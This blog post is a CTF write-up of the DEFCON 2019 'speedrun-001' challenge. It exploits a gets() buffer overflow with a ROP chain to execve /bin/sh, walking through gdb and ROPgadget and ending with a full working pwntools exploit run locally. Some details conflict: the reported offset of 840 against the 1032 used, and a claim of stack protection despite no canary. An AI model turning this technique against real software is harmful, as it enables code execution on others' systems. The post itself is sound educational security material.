Search This Blog

Showing posts with label ROP. Show all posts
Showing posts with label ROP. Show all posts

Saturday, May 7, 2022

Buffer Overflow to ROP Chain | speedrun-001 | DEFCON 2019 Quals pwn CTF challenge




Back with another binary exploitation challenge, and this time I decided to do the DEFCON 2019 CTF Qualifier challenge as, being in the Infosec community, I've never done any CTF hosted or provided by DEFCON. To those who have no clue what DEFCON is, DEFCON is a conference that has hackers and security researchers link up and host different talks that pertains to security as well as host different CTFs (both Jeopardy style and Attack-And-Defense). I'm not gonna dive into the history of DEFCON. To know more, click here.

Back to the challenge. This challenge basically exploits a buffer overflow vulnerability and upon exploitation, craft a ROP Chain which in turn executes '/bin/sh', which gets me a shell on the remote machine to get the flag. At the time of my writeup of this challenge, the target server has been shut down, so there is no remote server to connect to. However the binary executable has been provided so we can take on the challenge locally pop a shell.

Typically for these kind of hacking challenges, there are times when you're provided with the source and times when you're not. So some knowledge of programming (In C) and some reverse engineering is vital. Let's get to the challenge.

Challenge binary can be downloaded here

Let's run checksec on the binary to have a look at the security mechanisms enabled on it.

kaizen@kaizen-box:~/oooverflow# checksec speedrun-001
[*] '/home/kaizen/oooverflow/speedrun-001'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

RELRO (which is also Relocation Read Only) is partially enabled, which won't matter in our case because we have no need to overwrite any entry on the Global Offset Table. There's no Stack Canary found, which is good for us because if it we're to be enabled, any attempt to overflow anything on the stack will prove to be useless as the canary will pick up on us trying to overwrite other parts of memory and block us so... good stuff so far! NX, is enabled, which immediately stands out to me because since its enabled, we aren't able to inject any code and have it executed on the stack. PIE (Position Independant Executable) is off as well so that's pretty good.

Upon executing the binary, we see that the program awaits input from the user. If the user takes too long, the program triggers a SIGINT and exits. Since the program awaits input, let's have a look at if we have to send through a whole bunch of junk to trigger a 'segmentation fault' and see if the program is vulnerable to a buffer overflow vulnerability


kaizen@kaizen-box:~/oooverflow# python -c 'print ("A"*2000)' | ./speedrun-001 
Hello brave new challenger
Any last words?
This will be the last thing that you say: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Segmentation fault (core dumped)

Upon multiple attempts, we trigger a segmentation fault, indicating that we've triggered the buffer overflow. This lets us know that a gets() is being used. If you know anything about the buffer overflow vulnerability, the gets() function continues to store characters past the allocated buffer size, enabling an arbitrary write to other parts of memory. So let's have a look at gdb and see the how much we need to input to have control over the saved return address by generating a cyclic pattern of characters and using those characters to trigger another segmentation fault.

gef➤  r
Starting program: /home/kaizen/oooverflow/speedrun-001 
Hello brave new challenger
Any last words?
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaa...
This will be the last thing that you say: aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaa...

[ Legend: Modified register | Code | Heap | Stack | String ]
──────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax   : 0x7fc             
$rbx   : 0x00000000400400  →   sub rsp, 0x8
$rcx   : 0x0               
$rdx   : 0x000000006bbd30  →   add BYTE PTR [rax], al
$rsp   : 0x007fffffffe4d8  →  "eaaaaaaffaaaaaafgaaaaaafhaaaaaafiaaaaaafjaaaaaafka[...]"
$rbp   : 0x6661616161616164 ("daaaaaaf"?)
$rsi   : 0x0               
$rdi   : 0x1               
$rip   : 0x00000000400bad  →   ret 
$r8    : 0x7fc             
$r9    : 0x7fc             
$r10   : 0xfffff82f        
$r11   : 0x246             
$r12   : 0x000000004019a0  →   push rbp
$r13   : 0x0               
$r14   : 0x000000006b9018  →  0x00000000440ea0  →   mov rcx, rsi
$r15   : 0x0               
$eflags: [zero carry parity adjust sign trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x33 $ss: 0x2b $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00 
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
0x007fffffffe4d8│+0x0000: "eaaaaaaffaaaaaafgaaaaaafhaaaaaafiaaaaaafjaaaaaafka[...]"	 ← $rsp
0x007fffffffe4e0│+0x0008: "faaaaaafgaaaaaafhaaaaaafiaaaaaafjaaaaaafkaaaaaafla[...]"
0x007fffffffe4e8│+0x0010: "gaaaaaafhaaaaaafiaaaaaafjaaaaaafkaaaaaaflaaaaaafma[...]"
0x007fffffffe4f0│+0x0018: "haaaaaafiaaaaaafjaaaaaafkaaaaaaflaaaaaafmaaaaaafna[...]"
0x007fffffffe4f8│+0x0020: "iaaaaaafjaaaaaafkaaaaaaflaaaaaafmaaaaaafnaaaaaafoa[...]"
0x007fffffffe500│+0x0028: "jaaaaaafkaaaaaaflaaaaaafmaaaaaafnaaaaaafoaaaaaafpa[...]"
0x007fffffffe508│+0x0030: "kaaaaaaflaaaaaafmaaaaaafnaaaaaafoaaaaaafpaaaaaafqa[...]"
0x007fffffffe510│+0x0038: "laaaaaafmaaaaaafnaaaaaafoaaaaaafpaaaaaafqaaaaaafra[...]"
────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
     0x400ba6                  call   0x40f710
     0x400bab                  nop    
     0x400bac                  leave  
 →   0x400bad                  ret    
[!] Cannot disassemble from $PC
────────────────────────────────────────────────────────────────────────────────────────────────────────────────  threads ────
[#0] Id 1, Name: "speedrun-001", stopped 0x400bad in ?? (), reason: SIGSEGV
────────────────────────────────────────────────────────────────────────────────────────────────────────────────
[#0] 0x400bad → ret 

gef➤  i f
Stack level 0, frame at 0x7fffffffe4d8:
 rip = 0x400bad; saved rip = 0x6661616161616165
 called by frame at 0x7fffffffe4e8
 Arglist at 0x7fffffffe4d0, args: 
 Locals at 0x7fffffffe4d0, Previous frame's sp is 0x7fffffffe4e0
 Saved registers:
  rip at 0x7fffffffe4d8

gef➤  pattern search "eaaaaaaf"
[+] Searching for 'eaaaaaaf'
[+] Found at offset 840 (little-endian search) likely

Upon looking at gdb, we trigger a seg fault, but this time with our generated pattern. The pattern allows us to identify where the saved return address is since we've overflowed the input buffer. It enabled us to know an accurate amount of input we will need from the beginning of the input itself until where the saved return address is in memory. Here we can see that the offset from the start of our input to the saved return address is 1032 bytes (0x6661616161616165 = eaaaaaaf). We'll take note of that.

Now that we have control over the return address, we need a way forward. There are no other functions to jump to within the executable. The next plan of action is to implement ROP Gadgets. I've explained ROP gadgets in the past and why they are used in the way they are. We can use ROP to jump to other places in memory. Using ROP here seems like the only option as the stack protection has been enabled. so Lets do that.

The Goal is to have an execve system call to execute /bin/sh. To do this, we will need to find these rop gadgets within the executable. To execute the execve, we will need to pop values to the execve syscall registers (rax, rdi, rdx and the rdi registers). For this, we can either use ROPgadget or ropper browse through the executable and show us the list of gadgets available in the executable. Since we are looking for gadgets that correspond with the parameters of the execve system call, we will 'grep' for 'pop rdx, rax, rdi, and rsi


$ ROPgadget --binary speedrun-001 | grep ": pop rdx ; ret" 
	0x00000000004498b5 : pop rdx ; ret
	0x000000000045fe71 : pop rdx ; retf
$ ROPgadget --binary speedrun-001 | grep ": pop rax ; ret" 
	0x0000000000415664 : pop rax ; ret
	0x000000000048cccb : pop rax ; ret 0x22
	0x00000000004a9323 : pop rax ; retf
$ ROPgadget --binary speedrun-001 | grep ": pop rdi ; ret" 
	0x0000000000400686 : pop rdi ; ret
$ ROPgadget --binary speedrun-001 | grep ": pop rsi ; ret" 
	0x00000000004101f3 : pop rsi ; ret
$ ROPgadget --binary speedrun-001 | grep syscall
	0x000000000040129c : syscall

In addition to finding these gadgets, we will need to find a place to place the string /bin/sh\x00 somewhere in memory as well as an address to write it to. Within the executable, we see that there is a mov instruction present which enables us to store a value at the memory address of the rax register. So we'll use that.


0x0000000000471bb4 : mov qword ptr [rax], rdx ; mov eax, esi ; jmp 0x471b97
0x00000000004114a4 : mov qword ptr [rax], rdx ; mov qword ptr [rax + 8], rdx ; jmp 0x410ff7
0x0000000000484ec0 : mov qword ptr [rax], rdx ; pop rbx ; ret

0x000000000048d251 : mov qword ptr [rax], rdx ; ret		// Found Gadget!

0x0000000000471e6b : mov qword ptr [rax], rdx ; xor eax, eax ; jmp 0x471e2f
0x0000000000471e2a : mov qword ptr [rax], rdx ; xor eax, eax ; ret
0x000000000048f939 : mov qword ptr [rbp + 0x10], rax ; jmp 0x48f86e
0x0000000000418ff8 : mov q

For the memory location, we see that the address 0x6b6000 will work for us since it is in the PIE segment so we know the address of it without an infoleak, and there doesn't appear to be anything stored at that address:


gef➤  vmmap
Start              End                Offset             Perm Path
0x0000000000400000 0x00000000004b6000 0x0000000000000000 r-x /home/kaizen/Downloads/speedrun-001
0x00000000006b6000 0x00000000006bc000 0x00000000000b6000 rw- /home/kaizen/Downloads/speedrun-001
0x00000000006bc000 0x00000000006e0000 0x0000000000000000 rw- [heap]
0x00007ffff7ffa000 0x00007ffff7ffd000 0x0000000000000000 r-- [vvar]
0x00007ffff7ffd000 0x00007ffff7fff000 0x0000000000000000 r-x [vdso]
0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack]
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
gef➤  x/4g 0x00000000006b6000
0x6b6000:	0x0	0x0
0x6b6010:	0x0	0x0

Lastly, we need the actual syscall...


0x0000000000475453 : sub esp, 8 ; syscall
0x0000000000475452 : sub rsp, 8 ; syscall

0x000000000040129c : syscall		// syscall found!

0x00000000004498a6 : test eax, eax ; jne 0x4498c0 ; xor eax, eax ; syscall
0x0000000000449976 : test eax, eax ; jne 0x449990 ; mov eax, 1 ; syscall
0x0000000000449ab3 : test eax, eax ; jne 0x449b18 ; mov eax, 0x48 ; syscall

With all this, it's safe to say that we have everything we need to build out the entire ROP Chain. For the execve syscall, it expects three arguments (in addition to 0x3b being in the rax register to specify we want an execve system call). In the rdi register, it expects a pointer to the filename to be executed, which is /bin/sh. In the rsi and rdx registers it will expect pointers to the arguments / enviornment variables for the process (for our purposes we don't need to worry about them, sow e can just set them equal to zero).

Our ROP chain will have the following instructions:


pop rdx, 0x0068732f6e69622f
pop rax, 0x6b6000
mov qword ptr [rax], rdx ; ret

pop rax, 0x3b
pop rdi, 0x6b6000
pop rsi, 0x0
pop rdx, 0x0

syscall

Upon all the analysis we've done on the executable, We finally have all we need. In a nutshell, we will exploit a buffer overflow vulnerability, build a ROP chain that will execute an execve syscall to /bin/sh. I've already writted out the final exploit.

Final Exploit

#!/sbin/python
from pwn import *
context.log_level = "DEBUG"
target = process('./speedrun-001')
#gdb.attach(target, gdbscript = 'b *0x400bad')
# Establish the pop ROP Gadgets
popRdx = p64(0x4498b5)
popRax = p64(0x415664)
popRsi = p64(0x4101f3)
popRdi = p64(0x400686)
# 0x000000000048d251 : mov qword ptr [rax], rdx ; ret
writeGadget = p64(0x48d251)
# syscall
syscall = p64(0x40129c)
# payload from initial input to return address
payload = b"0"*1032
# Write '/bin/sh\x00' to '0x6b6000'
#pop rdx, 0x0068732f6e69622f
#pop rax, 0x6b6000
#mov qword ptr [rax], rdx ; ret
payload += popRdx
payload += p64(0x0068732f6e69622f)
payload += popRax
payload += p64(0x6b6000)
payload += writeGadget
# Setup args for syscall
# pop rax, 0x3b
payload += popRax
payload += p64(0x3b)
# pop rdi, 0x6b6000
payload += popRdi
payload += p64(0x6b6000)
# pop rsi, 0x0
# pop rdx, 0x0
payload += popRsi
payload += p64(0)
payload += popRdx
payload += p64(0)
# syscall
payload += syscall
# Send the payload
target.send(payload)
target.interactive()

Upon running the exploit...

kaizen@kaizen-box:~/oooverflow# ./exploit.py 
[+] Starting local process './speedrun-001' argv=[b'./speedrun-001'] : pid 3190
[DEBUG] Sent 0x478 bytes:
    00000000  30 30 30 30  30 30 30 30  30 30 30 30  30 30 30 30  │0000│0000│0000│0000│
    *
    00000400  30 30 30 30  30 30 30 30  b5 98 44 00  00 00 00 00  │0000│0000│··D·│····│
    00000410  2f 62 69 6e  2f 73 68 00  64 56 41 00  00 00 00 00  │/bin│/sh·│dVA·│····│
    00000420  00 60 6b 00  00 00 00 00  51 d2 48 00  00 00 00 00  │·`k·│····│Q·H·│····│
    00000430  64 56 41 00  00 00 00 00  3b 00 00 00  00 00 00 00  │dVA·│····│;···│····│
    00000440  86 06 40 00  00 00 00 00  00 60 6b 00  00 00 00 00  │··@·│····│·`k·│····│
    00000450  f3 01 41 00  00 00 00 00  00 00 00 00  00 00 00 00  │··A·│····│····│····│
    00000460  b5 98 44 00  00 00 00 00  00 00 00 00  00 00 00 00  │··D·│····│····│····│
    00000470  9c 12 40 00  00 00 00 00                            │··@·│····│
    00000478
[*] Switching to interactive mode
[DEBUG] Received 0x461 bytes:
    00000000  48 65 6c 6c  6f 20 62 72  61 76 65 20  6e 65 77 20  │Hell│o br│ave │new │
    00000010  63 68 61 6c  6c 65 6e 67  65 72 0a 41  6e 79 20 6c  │chal│leng│er·A│ny l│
    00000020  61 73 74 20  77 6f 72 64  73 3f 0a 54  68 69 73 20  │ast │word│s?·T│his │
    00000030  77 69 6c 6c  20 62 65 20  74 68 65 20  6c 61 73 74  │will│ be │the │last│
    00000040  20 74 68 69  6e 67 20 74  68 61 74 20  79 6f 75 20  │ thi│ng t│hat │you │
    00000050  73 61 79 3a  20 30 30 30  30 30 30 30  30 30 30 30  │say:│ 000│0000│0000│
    00000060  30 30 30 30  30 30 30 30  30 30 30 30  30 30 30 30  │0000│0000│0000│0000│
    *
    00000450  30 30 30 30  30 30 30 30  30 30 30 30  30 b5 98 44  │0000│0000│0000│0··D│
    00000460  0a                                                  │·│
    00000461
Hello brave new challenger
Any last words?
This will be the last thing that you say: 00000000000000000000000000000000000000000000000000000000000000000000000000000000000\xb5\x98D
$ id
[DEBUG] Sent 0x3 bytes:
    b'id\n'
[DEBUG] Received 0xb9 bytes:
    b'uid=1000(kaizen) gid=1001(kaizen) groups=1001(kaizen),3(sys),90(network),96(scanner),98(power),982(rfkill),984(users),985(video),987(storage),990(optical),991(lp),996(audio),998(wheel)\n'
uid=1000(kaizen) gid=1001(kaizen) groups=1001(kaizen),3(sys),90(network),96(scanner),98(power),982(rfkill),984(users),985(video),987(storage),990(optical),991(lp),996(audio),998(wheel)
[*] Got EOF while reading in interactive
$  

And just like that... WE POP A SHELL!! Challenge Complete.